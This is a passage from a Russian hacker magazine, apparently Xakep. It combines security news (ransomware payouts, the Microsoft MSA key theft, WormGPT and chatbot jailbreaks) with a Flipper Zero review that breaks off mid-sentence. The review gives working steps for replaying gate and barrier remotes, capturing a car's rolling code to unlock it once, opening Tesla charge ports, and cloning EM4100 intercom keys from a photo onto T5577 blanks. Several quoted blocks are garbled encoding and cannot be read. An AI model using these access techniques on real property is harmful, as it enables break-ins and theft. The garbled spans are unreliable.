Èëüÿ — êóëüòîâàÿ ôèãóðà â ìèðå êèáåðáåçîïàñíîñòè. Âûáðàâ äåëîì
ñâîåé æèçíè ñîçäàíèå èíæåíåðíûõ òåõíîëîãèé ìèðîâîãî êëàññà
äëÿ ïðîòèâîäåéñòâèÿ êèáåðïðåñòóïíîñòè, îí ìíîãîå ñäåëàë, ÷òîáû
î÷èñòèòü ðîññèéñêîå è ìåæäóíàðîäíîå êèáåðïðîñòðàíñòâî îò êðè-
ìèíàëà. È ÿ óâåðåí, ñäåëàë áû íàìíîãî áîëüøå, òåì áîëåå ñåé÷àñ,
êîãäà íà êîíó — êèáåðáåçîïàñíîñòü ãîñóäàðñòâà, à ìàñøòàá è ÷àñòîòà
êèáåðàòàê ðàñòóò ñ êàæäûì ìåñÿöåì. Ïîòåíöèàë Èëüè êàê ÷åëîâåêà,
êàê ëè÷íîñòè, êàê ïðîôåññèîíàëà îãðîìåí. Îí ñîçäàë îòå÷åñòâåííûå
êîíêóðåíòîñïîñîáíûå ýêñïîðòíûå òåõíîëîãèè, îíè óñïåøíû è ïðèç-
íàíû âî âñåì ìèðå. Êàê Èëüÿ ëè÷íî, òàê è êîìïàíèÿ èìåþò ìíîæåñòâî
íàãðàä è áëàãîäàðñòâåííûõ ïèñåì îò ïðàâîîõðàíèòåëüíûõ îðãàíîâ.
Åãî èçîëÿöèÿ — ýòî ïîòåðÿ äëÿ âñåãî ÈÒ ðûíêà, è âìåñòå ñ òåì, âåðî-
ÿòíî, îíà îáðàäóåò òåõ, ñ êåì îí áîðîëñÿ, — ðåàëüíûõ êèáåðïðåñ-
òóïíèêîâ. Íî ìû ïðîäîëæèì åãî äåëî è, êàê ïðåæäå, áóäåì ðàç-
ðàáàòûâàòü ðåøåíèÿ äëÿ èíôîðìàöèîííîé áåçîïàñíîñòè, îïåðåæà-
þùèå âðåìÿ, ñëåäîâàòü íàøåé ìèññèè è çàùèùàòü êàê êîìïàíèè, òàê
è âñåõ ïîëüçîâàòåëåé. Äåëàåì», — ãîâîðèò Âàëåðèé Áàóëèí, ãåíåðàëü-
íûé äèðåêòîð êîìïàíèè FAÑÑT.

В компании сообщают, что, несмотря на заключение под стражу, Сачков про-


»
должает работать над проектами и технологиями кибербезопасности, и,
по его словам, он продолжит эту работу, где бы ни находился.
Также подчеркивается, что все подразделения FACCT работают в штатном
режиме, и компания благодарит клиентов, партнеров, представителей комь-
юнити по кибербезопасности и журналистов за слова поддержки.

АППЕТИТЫ ВЫМОГАТЕЛЕЙ РАСТУТ


Специалисты Chainalysis подсчитали, что вымогательство стало единственной категорией крип-
товалютных преступлений, в которой в этом году наблюдается рост. Так, в 2023 году хакеры
вымогали у своих жертв на 175,8 миллиона долларов больше, чем год назад.

Только за июнь 2023 года хакеры потребовали у жертв 449,1 миллиона долларов. Если такие
темпы сохранятся, злоумышленники суммарно затребуют у своих жертв около 898,6 мил-
лиона долларов в 2023 году, уступая лишь рекордным 939,9 миллиона долларов
в 2021 году.

Движущей силой этого резкого роста доходов вымогателей считают так называемую «охоту
на крупную дичь», поскольку киберпреступники сосредоточились на атаках на крупные орга-
низации, у которых можно требовать большие суммы денег.

Эта тенденция отчетливо видна на графике распределения вымогательских платежей, который


демонстрирует заметный рост крупных выкупов.

Лидерами в списке получателей крупных платежей стали группировки BlackBasta,


ALPHV/Blackcat и Clop.

Средний размер выкупа Clop составляет 1,7 миллиона долларов, а медианный — 1,9 мил-
лиона долларов.

GOOGLE СОЗДАЕТ
«DRM
ДЛЯ ИНТЕРНЕТА»

Команда из четырех инженеров Google работает над новым веб-API под наз-
ванием Web Environment Integrity, который позволит сайтам блокировать кли-
ентские приложения, изменяющие их код. Плюсы с точки зрения безопас-
ности очевидны, но, помимо того, новый API фактически поможет Google
и операторам сайтов эффективно бороться с блокировщиками рекламы.
Основная цель проекта — узнать больше о человеке по ту сторону браузе-
ра, удостовериться, что он не робот, а браузер не был модифицирован
или подделан каким-либо образом.
Разработчики заявляют, что такие данные будут полезны рекламодателям
для подсчета показов рекламы, помогут бороться с ботами в социальных
сетях, защитят права на интеллектуальную собственность, будут противос-
тоять читерству в веб-играх, а также повысят безопасность финансовых тран-
закций.
То есть, на первый взгляд, Web Environment Integrity API разрабатывается
как защитное решение, чтобы сайты могли обнаруживать вредоносные
модификации кода на стороне клиента и отключать вредоносных клиентов.
При этом авторы Web Integrity API пишут, что вдохновлялись «существу-
ющими нативными сигналами аттестации, включая Apple App Attest и Android
Play Integrity API».
Здесь стоит пояснить, что Play Integrity (ранее SafetyNet) представляет
собой API для Android, позволяющий приложениям выяснить, было ли устрой-
ство рутировано. Root-доступ позволяет получить полный контроль
над устройством, и многим разработчикам приложений такое не нравится.
Поэтому после получения соответствующего сигнала от Android Integrity API
некоторые типы приложений могут просто отказаться запускаться.
Как правило, в таких случаях отказываются работать банковские приложе-
ния, Google Wallet, онлайн-игры, Snapchat, а также некоторые мультимедий-
ные приложения (например, Netix). Ведь считается, что root-доступ может
использоваться для читерства в играх или фишинга банковских данных. Хотя
root-доступ также может понадобиться для настройки устройства, удаления
вредоносного ПО или создания системы резервного копирования, Play
Integrity такие варианты применения не рассматривает и в любом случае бло-
кирует доступ.
Как теперь предполагают ИБ-специалисты, Google стремится реализовать
то же самое в масштабах всего интернета.
По замыслу Google, в ходе транзакции веб-страницы сервер может пот-
ребовать от пользователя пройти тест environment attestation, прежде чем тот
получит какие-либо данные. В этот момент браузер свяжется со сторонним
сервером аттестации, и пользователь должен будет пройти определенный
тест. Если проверка пройдена, пользователь получает подписанный Integrity
Token, который подтверждает целостность его среды и указывает на контент,
который нужно разблокировать. Затем токен передается обратно на сервер,
и если сервер доверяет компании-аттестатору, то контент разблокируется,
а человек наконец получит доступ к нужным данным.

Как теперь опасаются многие, если браузером в таком примере будет выс-
тупать Chrome и сервер аттестации тоже будет принадлежать Google, то
именно Google будет решать, предоставить или не предоставить человеку
доступ к сайтам.
При этом в компании уверяют, что Google не собирается использовать
описанную функциональность во вред. Так, создатели Web Integrity API «твер-
до уверены», что их API не должен использоваться для фингерпринтинга
людей, хотя вместе с этим они хотят получить «некий индикатор, позволя-
ющий ограничить скорость по отношению к физическому устройству».
Также заявлено, что компания не хочет «вмешиваться в функциональность
браузера, включая плагины и расширения». Таким образом разработчики
дают понять, что якобы не собираются бороться с блокировщиками рекламы,
хотя в компании много лет работают над скандальным Manifest V3, чья цель
состоит именно в этом. А новый API можно использовать для обнаружения
того, что блокировщик рекламы вмешивается в рекламный код. После этого
оператор сайта будет волен попросту прекратить предоставление услуг.
Обсуждение этой темы в сети уже спровоцировало волну критики в адрес
Google, а проект окрестили «DRM для интернета». К примеру, разработчики,
ИБ-специалисты и простые пользователи отмечают, что проект Web Integrity
API намеренно размещается на GitHub одного из разработчиков, а Google
старается дистанцироваться от разработки, которая может отравить сущес-
твующие веб-стандарты, помогая компании сохранить рекламный бизнес.
Дискуссия на Issues-странице проекта на GitHub также касается преиму-
щественно этических аспектов происходящего, а Google обвиняют в попытке
стать монополистом в очередной области и «убить» блокировщики рекламы.

ПАВЕЛ ЖОВНЕР ПОДТВЕРДИЛ РАЗРАБОТКУ FLIPPER ONE

В этом месяце «Хакер» поговорил с одним из авторов «хакерского тамагочи» Flipper Zero Пав-
лом Жовнером. В интервью Павел подтвердил, что работа над вторым и более продвинутым
вариантом хакерского мультитула, Flipper One, уже ведется.
Исходно старшая модель «хакерского тамагочи» планировалась как более продвинутая вер-
сия Flipper, ориентированная на атаки на проводные и беспроводные сети. One должен был
обладать всей функциональностью Zero, а также иметь отдельный ARM-компьютер с Kali Linuх
на борту.

→ «Мы сейчас работаем над Flipper One, но пока не совсем понимаем, каким
он должен быть. Мы хотим вообще жирный комбайн с FPGA и SDR, в котором
все протоколы можно будет определить программно, но пока есть сомнения,
будут ли покупать устройство за 300–500 долларов.
Так что проект в активном R&D, но пока нет понимания по важным частям.
Например, не выбрали модуль Wi-Fi, потому что все существующие чипы, при-
годные для атак, уже устарели. Возможно, придется спонсировать разработку
своего драйвера. В общем, увидим», — сообщил Жовнер.

Продолжение статьи →
← Начало статьи

СЕРТИФИКАТЫ
ANDROID 7
УСТАРЕВАЮТ

Разработчики предупреждают, что с 8 февраля 2024 года сертификаты Let’s


Encrypt перестанут работать в Android 7 и более старых версиях мобильной
ОС.
Создатели Let’s Encrypt вернулись к проблеме старых Android-устройств,
о которой впервые заговорили еще в 2020 году. Они напоминают, что после
запуска сервиса им нужно было убедиться, что сертификаты Let’s Encrypt
пользуются широким доверием. С этой целью была организована перекрес-
тная подпись промежуточных сертификатов с IdenTrust DST Root X3. Это озна-
чало, что все сертификаты, выданные опосредованно, также будут доверен-
ными, даже если собственный ISRG Root X1 компании таковым еще не был.
Проблемы начались, когда выяснилось, что в конце 2021 года истекает
срок действия промежуточных сертификатов с перекрестными подписями,
а также срок партнерства между Let’s Encrypt и организацией IdenTrust (и
продлять его не планировалось).
Хотя современные браузеры на тот момент уже доверяли корневому сер-
тификату Let’s Encrypt, более трети всех Android-устройств по-прежнему
работали под управлением старых версий ОС, которые могли внезапно
перестать доверять сайтам, использующим сертификаты Let’s Encrypt.
В итоге предполагалось, что осенью 2021 года пользователи старых
устройств начнут массово испытывать сложности с доступом к сайтам, а так-
же получать сообщения об ошибках сертификатов. Тогда инженеры Let’s
Encrypt подсчитали, что на таких пользователей приходится примерно 1–5%
всего трафика.
Так как подобный глобальный сбой был недопустим, в компании решили
проблему, организовав новую перекрестную подпись, которая должна была
прослужить дольше самого DST Root CA X3. Эта временная мера позволила
старым устройствам на базе Android продолжать доверять сертификатам
компании еще три года. Однако срок вновь истекает 30 сентября 2024 года.
Как теперь пишут разработчики, за последние три года процент устройств
на Android, которые доверяют ISRG Root X1, вырос с 66 до 93,9%. Ожидается,
что этот процент еще увеличится в течение следующего года, особенно когда
выйдет Android 14, где появится возможность обновить корневые сертифика-
ты без полного обновления ОС.

Так как продолжать поддерживать совместимость больше не нужно (и


это поможет компании значительно снизить операционные расходы), в Let’s
Encrypt сообщают, что за период с 8 февраля 2024 года по 30 сен-
тября 2024 года откажутся от старой перекрестной подписи. Из-за этого
у владельцев устройств, работающих под управлением Android 7 и более ста-
рых версий операционной системы, возникнут проблемы.

« «Åñëè âû èñïîëüçóåòå Android 7.0 èëè áîëåå ðàííþþ âåðñèþ ÎÑ, âàì
ìîæåò ïîòðåáîâàòüñÿ ïðèíÿòü ìåðû, ÷òîáû îáåñïå÷èòü ñåáå äîñòóï
ê ñàéòàì, çàùèùåííûì ñåðòèôèêàòàìè Let’s Encrypt. Ìû ðåêîìåíäóåì
óñòàíîâèòü è èñïîëüçîâàòü Firefox Mobile, êîòîðûé èñïîëüçóåò ñîáñ-
òâåííîå õðàíèëèùå äîâåðåííûõ ñåðòèôèêàòîâ âìåñòî õðàíèëèùà
äîâåðåííûõ ñåðòèôèêàòîâ ÎÑ Android è, ñëåäîâàòåëüíî, äîâåðÿåò
ISRG Root X1», — ïèøóò ðàçðàáîò÷èêè.

Владельцам сайтов, которые могут заметить падение трафика во втором


»
и третьем кварталах 2024 года, рекомендуется дать своим посетителям такой
же совет: использовать Firefox Mobile или обновить устройство.

НИКТО НЕ ЛЮБИТ ГОЛОСОВЫЕ СООБЩЕНИЯ


По результатам исследования «Лаборатории Касперского», около половины опрошенных рос-
сийских пользователей (56%) в принципе не готовы часто отвечать на голосовые сообщения.
Еще 64% респондентов нормально относятся к таким сообщениям только в том случае, если
они пришли от друзей или родственников.

79% пользователей считают, что в публичных местах слушать голосовые сообщения неком-
фортно, а 50% — что информацию из них трудно запоминать или перепроверять.

У MICROSOFT УКРАЛИ
ВАЖНЫЙ КЛЮЧ

В середине июля 2023 года стало известно, что у компании Microsoft был
похищен криптографический ключ MSA (Microsoft account consumer signing
key), что привело к массовой атаке на Exchange Online и Azure Active Directory
(AD) более 25 организаций по всему миру, включая правительственные
учреждения в США и странах Западной Европы.
Как оказалось, еще в середине мая злоумышленникам из китайской груп-
пировки Storm-0558 удалось получить доступ к учетным записям, принад-
лежащим примерно 25 организациям, а также к некоторым учетным записям
пользователей, которые, вероятно, были связаны с этими организациями.
Названия пострадавших организаций и госучреждений не были раскрыты.
Известно лишь, что в числе пострадавших Госдеп и Министерство торговли
США.
Как объясняли тогда в Microsoft, для этой атаки злоумышленники исполь-
зовали токены аутентификации, подделанные с помощью криптографичес-
кого ключа MSA, который применяется для подписания токенов. Из-за 0-day-
проблемы, связанной с валидацией в GetAccessTokenForResourceAPI, хакеры
смогли подделать чужие подписанные токены Azure Active Directory (Azure AD
или AAD) и выдать себя за своих жертв.
При этом в Microsoft до сих пор не объяснили, как именно такой важный
ключ MSA вообще оказался в руках хакеров.
Более того, по данным аналитиков компании Wiz, специализирующейся
на облачной безопасности, проблема куда серьезнее, чем ее преподносит
Microsoft. Исследователи считают, что проблема затронула все приложения
Azure AD, работающие с Microsoft OpenID v2.0. Дело в том, что украденный
ключ мог подписать любой токен доступа OpenID v2.0 для личных учетных
записей (например, Xbox, Skype) и мультитенантных приложений AAD
при определенных условиях.
Хотя Microsoft заявляла, что пострадали только Exchange Online и Outlook,
по мнению специалистов Wiz, хакеры могли использовать скомпромети-
рованный ключ, чтобы выдать себя за любую учетную запись в любом постра-
давшем клиентском или облачном приложении Microsoft. В их число входят
managed-приложения Microsoft, такие как Outlook, SharePoint, OneDrive
и Teams, а также клиентские приложения, поддерживающие аутентификацию
Microsoft Account, включая те, которые позволяют использовать функциональ-
ность Login with Microsoft.

« «Âñё â ýêîñèñòåìå Microsoft èñïîëüçóåò äëÿ äîñòóïà òîêåíû àóòåí-


òèôèêàöèè Azure Active Directory, — îáúÿñíÿþò èññëåäîâàòåëè. — Çëî-
óìûøëåííèê ñ êëþ÷îì ïîäïèñè AAD — ýòî ñàìûé ñèëüíûé çëîóìûø-
ëåííèê, êîòîðîãî òîëüêî ìîæíî ïðåäñòàâèòü, ïîñêîëüêó îí ìîæåò
ïîëó÷èòü äîñòóï ïðàêòè÷åñêè ê ëþáîìó ïðèëîæåíèþ ïîä âèäîì ëþáîãî
ïîëüçîâàòåëÿ. Ýòî íàñòîÿùàÿ ñóïåðñïîñîáíîñòü — êèáåðîáîðîòåíü».

В ответ на эти обвинения исследователей в Microsoft подчеркнули, что ком-


»
пания отозвала все ключи MSA, чтобы гарантировать, что злоумышленники
не имеют доступа к другим скомпрометированным ключам. Что полностью
предотвращает любые попытки создания новых токенов. Также в компании
говорят, что многие заявления экспертов Wiz «являются спекулятивными и не
основаны на фактах».
Сообщается, что после аннулирования украденного ключа специалисты
Microsoft не обнаружили дополнительных доказательств, указывающих
на несанкционированный доступ к учетным записям клиентов с исполь-
зованием того же метода подделки токенов. Кроме того, Microsoft отмечает,
что тактика Storm-0558 изменилась и хакеры больше не имеют доступа
к каким-либо ключам подписи.

« «Íà äàííîì ýòàïå òðóäíî îïðåäåëèòü ïîëíûå ìàñøòàáû èíöèäåíòà,


ïîñêîëüêó ïîòåíöèàëüíî óÿçâèìûìè áûëè ìèëëèîíû ïðèëîæåíèé (êàê
ïðèëîæåíèé Microsoft, òàê è ïðèëîæåíèé êëèåíòîâ) è â áîëüøèíñòâå
èç íèõ îòñóòñòâóþò íåîáõîäèìûå æóðíàëû, ÷òîáû ïîíÿòü, áûëè ëè îíè
ñêîìïðîìåòèðîâàíû», — îáúÿñíÿþò ýêñïåðòû Wiz.

Дело в том, что до этого инцидента возможности ведения журналов были


»
доступны только клиентам Microsoft, которые оплатили соответствующую
лицензию Purview Audit (Premium). Из-за этого Microsoft столкнулась с серь-
езной критикой со стороны ИБ-сообщества, когда эксперты заявили, что,
по сути, сама Microsoft мешала организациям оперативно обнаружить атаки
Storm-0558.
В результате под давлением сообщества и Агентства по кибербезопас-
ности и защите инфраструктуры США (CISA) компания согласилась бесплат-
но расширить доступ к данным облачных журналов, чтобы защитники могли
обнаруживать подобные попытки взлома в будущем.

В 2,5 РАЗА БОЛЬШЕ ФИШИНГА


За первые шесть месяцев 2023 года общее количество фишинговых писем, которые злоумыш-
ленники отправляют на корпоративные почты российским компаниям, выросло в 2,5 раза,
предупредили эксперты сервиса защиты корпоративной электронной почты BI.ZONE. За ука-
занный период специалисты сервиса заблокировали более 120 миллионов потенциально
опасных писем.

Средняя доля нежелательных писем, отправленных российским компаниям, составляет 75%


от общего числа. Так, из 250 писем, отправленных по электронной почте, хотя бы одно ока-
зывается фишинговым.

WORMGPT
УЧАСТВУЕТ
В ФИШИНГЕ

Специалисты SlashNext обратили внимание, что преступники все чаще


используют генеративный ИИ в своих атаках. В частности, на хакерских
форумах рекламируется инструмент WormGPT, который предлагается при-
менять для организации фишинговых рассылок и компрометации деловой
почты (business email compromise, BEC).

« «Ýòîò èíñòðóìåíò ïðåäñòàâëÿåò ñîáîé blackhat-àëüòåðíàòèâó èçâåñ-


òíûì ìîäåëÿì GPT, ðàçðàáîòàííóþ ñïåöèàëüíî äëÿ âðåäîíîñíûõ äåé-
ñòâèé, — ïèøóò èññëåäîâàòåëè. — Êèáåðïðåñòóïíèêè ìîãóò èñïîëü-
çîâàòü ýòó òåõíîëîãèþ äëÿ àâòîìàòèçèðîâàííîãî ñîçäàíèÿ î÷åíü óáå-
äèòåëüíûõ ôåéêîâûõ ïèñåì, ïåðñîíàëèçèðîâàííûõ äëÿ ïîëó÷àòåëÿ, ÷òî
óâåëè÷èâàåò øàíñû íà óñïåõ àòàêè».

WormGPT основан на языковой модели GPTJ, созданной в 2021 году. Он


»
может похвастаться рядом функций, включая неограниченную поддержку
символов, сохранение истории чатов и возможность форматирования кода.
Авторы называют его «злейшим врагом ChatGPT», который позволяет совер-
шать «всевозможные незаконные действия».
Также создатели инструмента утверждают, что он обучен на разных
наборах данных, с упором на данные, связанные с вредоносными прог-
раммами. Однако конкретные наборы данных, использованные для обучения,
не раскрываются.
Получив доступ к WormGPT, эксперты провели собственные тесты. Так,
в одном эксперименте они поручили WormGPT сгенерировать мошенничес-
кое письмо, которое должно вынудить ничего не подозревающего менеджера
по работе с клиентами оплатить мошеннический счет.
В SlashNext говорят, что результаты оказались «тревожными»: WormGPT
создал письмо, которое получилось весьма убедительным, что «демонстри-
рует потенциал для использования в изощренных фишинговых и BEC-атаках».

Созданное исследователями фишинговое письмо

« «Ãåíåðàòèâíûé ÈÈ ìîæåò ñîçäàâàòü ýëåêòðîííûå ïèñüìà ñ áåçóï-


ðå÷íîé ãðàììàòèêîé, ïîâûøàÿ èõ [âíåøíþþ] ëåãèòèìíîñòü è ñíèæàÿ
âåðîÿòíîñòü òîãî, ÷òî îíè áóäóò ïîìå÷åíû êàê ïîäîçðèòåëüíûå, —
ïèøóò ñïåöèàëèñòû. — Èñïîëüçîâàíèå ãåíåðàòèâíîãî ÈÈ çíà÷èòåëüíî
óïðîùàåò âûïîëíåíèå ñëîæíûõ BEC-àòàê. Äàæå çëîóìûøëåííèêè
ñ îãðàíè÷åííûìè íàâûêàìè ìîãóò èñïîëüçîâàòü ýòó òåõíîëîãèþ, ÷òî
äåëàåò åå äîñòóïíûì èíñòðóìåíòîì äëÿ î÷åíü øèðîêîãî êðóãà êèáåð-
ïðåñòóïíèêîâ».

Также исследователи отмечают тенденцию, о которой еще в начале года пре-


»
дупреждали их коллеги из компании Check Point: на хакерских форумах
по-прежнему активно обсуждаются различные «джейлбрейки» для ИИ типа
ChatGPT.
Такие «джейлбрейки» представляют собой тщательно продуманные зап-
росы, составленные особым образом. Они предназначены для манипулиро-
вания чат-ботами с ИИ, чтобы генерировать ответы, которые могут содержать
конфиденциальную информацию, нежелательный контент и даже вредонос-
ный код.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА


Инструмент Snappy поможет обнаружить мошеннические точки доступа Wi-Fi

Rowhammer-атаку предложили использовать для фингерпринтинга устройств

Почти 40% установок Ubuntu уязвимы перед новыми уязвимостями повышения привилегий

Для регистрации на российских сайтах может потребоваться российский email-адрес

Firefox будет блокировать работу аддонов на некоторых сайтах ради безопасности

Энтузиасты запустили сайт для обновления старых версий Windows, включая 95, 98, NT 4.0, ME

Microsoft отозвала сертификаты, которыми подписали более 100 вредоносных драйверов ядра

Исходники UEFI-буткита BlackLotus опубликовали на GitHub

Атака Zenbleed раскрывает конфиденциальные данные на процессорах AMD Zen2

Google создает red team для атак на ИИ-системы


COVERSTORY

ЧТО Я УСПЕЛ НАТВОРИТЬ


ЗА МЕСЯЦ С FLIPPER ZERO

Flipper — хакерский «мультитул», соз-


данный командой российских разработ-
чиков, — успел неплохо прославиться.
В начале 2021 года проект собрал поч-
ти 5 миллионов долларов на «Кикстартере», FiReMaN
AA88msg@protonmail.com
потом сообщество с интересом следило
за всеми перипетиями производства,
а теперь начались сложности с рас-
пространением и доставкой. Я уже получил
свой экземпляр и расскажу о том,
как использую его в жизни, чтобы помочь
тебе понять, стоит ли срочно обзаводиться
«Флиппером».

Уже больше года прошло с тех пор, как первые бэкеры получили свои девай-
сы, но шумиха вокруг Flipper Zero только усиливается. Миллионы просмотров
видео скрипт-кидди в «Тиктоке» и обзоры в известных блогах, таких как Linus
Tech Tips, новости об уничтожении и конфискации партий «Флиппера», да еще
и запрет на продажу на Amazon и eBay только подогревают интерес к устрой-
ству. В рекламе компонентов СКУД-систем уже пишут «Flipper Zero не сра-
ботает!». Спрос на «Флиппер» настолько большой, что о дропах новых партий
объявляют заранее, а разлетаются они мгновенно. При этом не дремлют
и скамеры, которые пытаются заработать на ажиотаже.

При этом новоиспеченные обладатели устройства, которые повелись на хайп,


раз за разом спрашивают на сабреддите «Флиппера»: «А что с ним делать?»
Ответ чаще всего: «Играть в змейку и открывать лючки зарядки у Tesla».
Давай вместе пройдемся по доступным в заводской прошивке воз-
можностям «Флиппера» и попробуем понять, какие потенциальные примене-
ния ему найдутся в жизни гика.
Итак, после распаковки Flipper быстро включается и сразу же готов
к работе. Единственное, что потребовалось, — это флешка microSD
и обновление прошивки.

SUB-GHZ

Начнем с самой интересной, на мой взгляд, функции. Flipper умеет при-


нимать, записывать и воспроизводить радиосигналы в определенных диапа-
зонах на частотах до 1 ГГц. Но с базовой прошивкой — в разрешенных пре-
делах в зависимости от региона. Для моей страны эти диапазоны те же, что
и для России: 433,05–434,79 МГц, 868,15–868,55 МГц, 915 МГц, 925 МГц.
Судя по моему небольшому опыту и беглому поиску по маркетплейсам,
большинство шлагбаумов в нашем регионе работает на частоте 433,92 МГц
и использует статический код. Это значит, что сигнал пульта от такого шлаг-
баума легко принять и сохранить в «Флиппер» для дальнейшего применения.
Конечно, это не относится к платным подземным парковкам, частным
домам и другим местам в таком духе. Там обычно стоят более продвинутые
СКУД. Но коды шлагбаумов в закрытых дворах многоквартирных домов,
на небольших частных парковках и офисных стоянках отлично копируются.

Øëàãáàóì íà ïàðêîâêå
В моем доме для въезда на территорию используется именно такой шлаг-
баум с недорогим пультом. Копирование сигналов всех трех его кнопок
занимает в общей сложности меньше минуты, а записанный на «Флиппер»
сигнал отлично работает — не хуже, чем когда используешь пульт.
Для записи нужно всего лишь выбрать в разделе Sub-GHz пункт Read
и установить центральную частоту, которая обычно указана на пульте. После
нажатия по очереди всех кнопок «Флиппер» их определит и демодулирует
сигналы, а нам останется только сохранить их под каким-то именем.
Следующей жертвой я наметил пульт от ворот подземной парковки.
На него надежды было мало, потому что, в отличие от пульта шлагбаума,
за него мне пришлось отвалить залог, эквивалентный 3,5 тысячи рублей, а на
местном радиорынке наотрез отказались его копировать, повторяя «Rolling
code, rolling code».
Однако на тех же самых настройках «Флиппер» безошибочно определил
источник сигнала как Marantec, что совпало с надписью на самом пульте. Обе
кнопки успешно записались и отлично функционируют. Даже дальность
работы пультов и «Флиппера» ничем не отличается.
Итого: минус два лишних брелока, сэкономленные деньги и плюсик
«Флипперу».

Копируем пульты

Кстати, по поводу дальности считывания сигнала. Я провел небольшой экспе-


римент, в результате которого определил, что записать сигнал с таких бес-
проводных пультов можно с расстояния около 20 м в прямой видимости.
Правда, зона уверенного приема (запись сигнала после короткого нажатия
кнопки) оказалась чуть меньше — порядка 15–18 м в зависимости от пульта.
Впрочем, это расстояние можно увеличить, если использовать дополнитель-
ный ВЧ-модуль с внешней антенной.
Основной вывод: при использовании простеньких незащищенных пультов
всегда есть вероятность, что потенциальный злоумышленник перехватит сиг-
нал.

Àâòîìîáèëü
Воодушевленный этим успехом, я решил перейти к брелоку от машины. Тут
уже, конечно, код не статический, а динамический, то есть тот самый rolling
code.
Rolling code (скользящий, или динамический, код) — технология, которую
применяют в радиочастотном дистанционном управлении, чтобы защититься
от копирования ключа. Принцип ее работы очень простой: при каждом
использовании код меняется, причем каждый код, отправленный передат-
чиком и принятый приемником, считается использованным и может быть при-
нят только один раз.
Технология надежная, но даже из описания можно понять, что у нее есть
один изъян — использованным считается только принятый приемником код.
То есть полностью скопировать брелок от современного автомобиля
не получится, но один раз снятый «Флиппером» сигнал сработает. В отличие
от случая с пультом от парковки, полностью демодулировать сигнал не вый-
дет, и мы запишем его в формате RAW, выбрав в меню соответствующий
пункт.

При попытке использовать предыдущий код пос-


ле того, как был использован следующий, при-
емный блок в автомобиле переводится в режим
блокировки. Вывести его из этого режима у меня
получилось, только скинув клемму аккумулятора.
До этого автомобиль никак не реагировал
на нажатия кнопок на ключе, поэтому открыть
или закрыть машину можно было только физичес-
ким ключом автомобиля. А во многих автомоби-
лях замочная скважина спрятана за заглушкой
ручки открывания двери, о чем владельцы часто
даже не подозревают. Если не хочешь оказаться
в такой ситуации, лучше воздержись от экспе-
риментов с автомобилем.

В итоге у меня получилось один раз открыть центральный замок, записав код
открытия в режиме RAW, и воспроизвести сигнал открытия рядом с автомоби-
лем. Обрати внимание: нужно, чтобы ключ находился далеко от автомобиля,
иначе сигнал будет принят машиной.
Вывод: никогда не оставляй свой ключ без присмотра, а в машине не хра-
ни ценные вещи. Злоумышленник может незаметно записать сигнал открытия
с ключа и открыть двери автомобиля, пока тебя не будет. Для этого достаточ-
но такого простого устройства, как «Флиппер», но существуют и более мощ-
ные специализированные девайсы.

Õàêàåì «Òåñëó»
Популярное развлечение владельцев «Флиппера» в Европе и Америке —
дистанционное открытие лючков зарядки в «Теслах». В России вероятность
встретить «Теслу» не так велика. А вот там, где я живу, они попадаются нам-
ного чаще. Лючок одной из них (исключительно в образовательных целях) я
торжественно открыл к большому удивлению сидевшего в ней владельца.
Конечно же, делал я это в суперудобном стелс-режиме Screen Streaming
из приложения для iPhone, чтобы не столкнуться с недопониманием хозяина
машины.

Рай флипперовода, по мнению пользователей Reddit

Чтобы провернуть этот трюк, нужно скачать с GitHub четыре файла, соответс-
твующие двум вариациям сигналов — для машин европейского и американ-
ского рынков. Поскольку частоты «Флиппера» в стандартной прошивке
залочены с учетом региона, сигнал для американской «Теслы» мне воспро-
извести не удалось, а при попытке это сделать «Флиппер» выдавал грозную
картинку. Видимо, несколько других попавшихся мне машин, которые мне
не удалось хакнуть, были как раз американскими.

Дельфин грозит плавником (?)

RFID

Пожалуй, самое простое и полезное применение «Флиппера» — это сох-


ранение ключей домофона.
Очень удобно хранить ключи от всех домов, где ты бываешь, и больше
никогда не испытывать неловкость, стоя перед закрытой дверью и слушая
писк динамика.
Все попадавшиеся мне ключи работали по протоколу EM4100. Считывание
занимает буквально пару секунд, как и эмуляция ключа. Тут главное —
не полениться и при сохранении ключа изменить название со случайного
дефолтного на осмысленное, которое поможет однозначно идентифици-
ровать метку.
Интересно, что протокол настолько не защищен, что эмулировать ключ
можно буквально по фотографии. По протоколу E4100 значимые данные
содержатся в пяти байтах. Если на ключе есть последовательность цифр типа
«049, 43317», то для ввода ключа в ручном режиме необходимо перевести эти
два числа в Hex. Должно получиться 00 31, A9 35. Перед этими четырьмя
байтами добавляем код версии (нужно будет подобрать) и вводим вручную:
00 00 31 A9 35. Этим кодом можно пользоваться для эмуляции так же, как и
любым считанным по радиоканалу.

Дрессированный дельфин открывает двери силой мысли

Ключи EM-Micro EM4100 бывают неперезаписываемые (в основном мар-


кированные, их заносят в память домофона) и перезаписываемые. Пос-
ледние нам и потребуются для создания копий ключей. Для этой цели я
заказал на одном из маркетплейсов пучок из десяти болванок за 300 с чем-то
рублей. Важно: заказывать нужно ключи Т5577. Именно они поддерживают
перезапись и отлично работают.

Успешно прошиваем болванки Т5577 (в зеленом корпусе видны внут-


ренности ключа — чип и антенна)

NFC

В 2020 году, когда я решил поддержать «Флиппер» на «Кикстартере», я воз-


лагал большие надежды на NFC. В России у меня очень многое работало
именно на этой технологии — шлагбаум в гаражном кооперативе, офисный
пропуск, домофон, браслет в фитнес-клубе. А вот после переезда, к моему
большому сожалению, я не смог найти для этой функции ни одного полезного
применения. Все, что мне удалось сделать, — немного поэксперимен-
тировать.
Первое, что пришло в голову, — считать UID со своих банковских карт,
но использовать копии для оплаты все равно не получится, мешает защита.
Также я попробовал считать информацию с чипа своего российского заг-
ранпаспорта, но смартфон с этой функцией справляется лучше, потому что
информация на чипе запаролена и открывается только после считывания
и распознавания машиночитаемой зоны.
Последним экспериментом было считывание карты «Тройка», которую я
нашел в старых вещах. К моему удивлению, «Флиппер» не только считал кар-
ту, но и показал баланс в пять рублей. К сожалению, дальше эксперимен-
тировать с транспортными картами я не могу, потому что у нас метро до сих
пор работает по жетонам, а наземный транспорт вообще оплачивается толь-
ко наличными.

Пять рублей

В целом у меня сложилось такое впечатление, что с NFC уже более-менее


освоились смартфоны и дополнительное устройство здесь ничего нового
не даст.

IR

Отличная функция «Флиппера», которой я также постоянно пользуюсь, —


это ИК-пульт.
Если судить по «Тиктоку», основное применение этой функции — вык-
лючение телевизоров и всяких рекламных щитов в торговых центрах. В этом я
никакого смысла не вижу, в отличие от замечательной возможности поуп-
равлять бытовой техникой. Тут и элементарное использование в качестве
